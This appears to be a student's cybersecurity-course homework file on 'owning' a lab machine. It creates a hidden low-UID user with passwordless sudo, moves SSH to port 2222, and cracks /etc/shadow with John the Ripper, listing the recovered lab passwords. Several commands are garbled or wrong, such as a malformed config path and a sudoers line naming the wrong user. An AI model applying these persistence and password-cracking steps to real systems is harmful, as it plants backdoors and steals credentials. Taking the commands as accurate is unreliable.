## **Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

Sudo --adduser --system --no-create-home sysd

1. Give your secret user a password:

Sudo passwd sysd

1. Give your secret user a system UID < 1000:

Sudo usermod -u 123 sysd

1. Give your secret user the same GID:

Sudo groupmod -g 123 sysd

1. Give your secret user full sudo access without the need for a password:

Sudo usermod -aG sudo sysd

Visudo

# User alias specification

sysadmin ALL=(ALL:ALL) NOPASSWD:ALL

Test that sudo access works without your password:  
  
Sudo -l

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
    Your bash commands here

Sudo nano /etc ssh/ssh\_config

#Port 22

Port 2222

#AddressFamily any

#ListenAddress 0.0.0.0

#ListenAddress ::

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

Systemctl restart ssh.service

1. Exit the root account:

Exit

1. SSH to the target machine using your sysd account and port 2222:

ssh sysd@192.168.6.105 -p 2222

1. Use sudo to switch to the root user:

Sudo -su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:

ssh sysd@192.168.6.105 -p 2222

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

Sudo -s

John /etc/shadow

computer (stallman)

freedom (babbage)

trustno1 (mitnik)

dragon (lovelace)

lakers (turing)

passw0rd (sysadmin)

Goodluck! (student)

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